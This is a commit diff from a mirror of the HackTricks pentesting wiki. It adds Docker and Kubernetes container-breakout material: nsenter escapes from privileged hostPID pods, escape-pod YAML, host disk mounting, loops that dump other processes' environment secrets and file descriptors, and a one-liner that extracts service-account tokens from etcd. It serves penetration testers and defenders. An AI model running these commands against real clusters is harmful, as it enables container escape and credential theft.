mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#2960] No subject
This commit is contained in:
parent
398de9e775
commit
c3338f48a8
6 changed files with 228 additions and 23 deletions
|
@ -37,6 +37,7 @@
|
|||
* [release\_agent exploit - Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md)
|
||||
* [Docker release\_agent cgroups escape](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
|
||||
* [Sensitive Mounts](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md)
|
||||
* [Page 1](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md)
|
||||
* [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md)
|
||||
* [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md)
|
||||
* [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md)
|
||||
|
@ -509,6 +510,7 @@
|
|||
* [Kubernetes Enumeration](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
|
||||
* [Abusing Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md)
|
||||
* [K8s Roles Abuse Lab](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md)
|
||||
* [Pod Escape Privileges](cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md)
|
||||
* [Pentesting Kubernetes Services](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
|
||||
* [Kubernetes Role-Based Access Control (RBAC)](pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md)
|
||||
* [Attacking Kubernetes from inside a Pod](pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md)
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
# Pod Escape Privileges
|
||||
|
||||
## Privileged and hostPID
|
||||
|
||||
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
|
||||
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
|
||||
|
||||
Just executing something like the following will allow you to escape from the pod:
|
||||
|
||||
```bash
|
||||
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||||
```
|
||||
|
||||
Configuration example:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: priv-and-hostpid-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostPID: true
|
||||
containers:
|
||||
- name: priv-and-hostpid-pod
|
||||
image: ubuntu
|
||||
tty: true
|
||||
securityContext:
|
||||
privileged: true
|
||||
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
```
|
||||
|
||||
## Privileged only
|
||||
|
||||
|
||||
|
|
@ -80,9 +80,27 @@ The `--privileged` flag introduces significant security concerns, and the exploi
|
|||
[docker-privileged.md](docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Mounting Disk
|
||||
### Privileged + hostPID
|
||||
|
||||
#### Poc1
|
||||
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Test it in a container executing:
|
||||
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
|
||||
### Privileged
|
||||
|
||||
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**.
|
||||
|
||||
Test the following bypasses in a container executing:
|
||||
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
|
||||
#### Mounting Disk - Poc1
|
||||
|
||||
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
|
||||
|
||||
|
@ -97,7 +115,7 @@ mount /dev/sda1 /mnt/hola
|
|||
|
||||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
||||
|
||||
#### Poc2
|
||||
#### Mounting Disk - Poc2
|
||||
|
||||
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||||
|
||||
|
@ -122,7 +140,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
debugfs /dev/sda1
|
||||
```
|
||||
|
||||
### Abusing release\_agent
|
||||
#### Privileged Escape Abusing release\_agent - PoC1
|
||||
|
||||
{% code title="Initial PoC" %}
|
||||
```bash
|
||||
|
@ -160,7 +178,7 @@ cat /o
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
The following is a different version, more readable, of the previous script:
|
||||
#### Privileged Escape Abusing release\_agent - PoC2
|
||||
|
||||
{% code title="Second PoC" %}
|
||||
```bash
|
||||
|
@ -212,20 +230,7 @@ Find an **explanation of the technique** in:
|
|||
[docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
 `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are:
|
||||
|
||||
1. We must be **running as root** inside the container
|
||||
2. The container must be run with the **`SYS_ADMIN` Linux capability**
|
||||
3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall
|
||||
4. The cgroup v1 virtual filesystem must be mounted read-write inside the container
|
||||
|
||||
The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so.
|
||||
|
||||
Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`.
|
||||
|
||||
A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
|
||||
|
||||
### Abusing release\_agents without knowing relative path
|
||||
#### Privileged Escape Abusing release\_agent without known the relative path - PoC3
|
||||
|
||||
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique:
|
||||
|
||||
|
@ -323,7 +328,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
...
|
||||
```
|
||||
|
||||
### Sensitive Mounts
|
||||
#### Privileged Escape Abusing Sensitive Mounts
|
||||
|
||||
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
|
||||
The abuse of these files may allow that:
|
||||
|
@ -340,17 +345,83 @@ However, you can find **other sensitive files** to check for in this page:
|
|||
[sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Host Networking
|
||||
### Arbitrary Mounts
|
||||
|
||||
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys…
|
||||
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
|
||||
### hostPID
|
||||
|
||||
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
|
||||
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
|
||||
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
|
||||
|
||||
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
|
||||
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
HOSTNAME=argocd-server-69678b4f65-6mmql
|
||||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
|
||||
You can also **access other processes file descriptors and read their open files**:
|
||||
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
...omitted for brevity...
|
||||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
|
||||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
|
||||
You can also **kill processes and cause a DoS**.
|
||||
|
||||
### hostNetwork
|
||||
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
|
||||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||||
|
||||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||||
|
||||
Example:
|
||||
Like in the following examples:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
|
||||
|
||||
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
|
||||
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### hostIPC
|
||||
|
||||
```
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
|
||||
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
|
||||
|
||||
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
|
||||
* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
|
||||
|
||||
## CVEs
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||||
|
@ -368,9 +439,11 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
|
|||
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Breakout Templates
|
||||
|
||||
### Container Breakout through Usermode helper Template
|
||||
|
||||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions:
|
||||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||||
|
||||
* Find the **path of the containers filesystem** inside the host
|
||||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||||
|
@ -388,3 +461,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
|
|
@ -0,0 +1,2 @@
|
|||
# Page 1
|
||||
|
|
@ -124,6 +124,8 @@ If you managed to **escape from the container** there are some interesting thing
|
|||
* `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
* `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Steal Secrets
|
||||
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
|
@ -145,6 +147,76 @@ for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1
|
|||
done
|
||||
```
|
||||
|
||||
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
|
||||
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
|
||||
|
||||
{% content-ref url="../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
|
||||
[kubernetes-access-to-other-clouds.md](../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Steal etcd
|
||||
|
||||
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
|
||||
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
|
||||
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
|
||||
|
||||
#### Read secrets from etcd
|
||||
|
||||
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
|
||||
|
||||
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
|
||||
|
||||
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
|
||||
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
|
||||
**View the data in etcd database:**
|
||||
|
||||
```
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
|
||||
**Extract the tokens from the database and show the service account name**
|
||||
|
||||
```
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
|
||||
**Same command, but some greps to only return the default token in the kube-system namespace**
|
||||
|
||||
```
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
* [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)****
|
||||
|
|
|
@ -145,6 +145,23 @@ One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751
|
|||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
{% content-ref url="../attacking-kubernetes-from-inside-a-pod.md" %}
|
||||
[attacking-kubernetes-from-inside-a-pod.md](../attacking-kubernetes-from-inside-a-pod.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Stealth
|
||||
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
|
||||
* ****[**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid)****
|
||||
* ****[**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged)****
|
||||
* ****[**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts)****
|
||||
* ****[**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid)****
|
||||
* ****[**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork)****
|
||||
* ****[**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc)****
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
|
|
Loading…
Reference in a new issue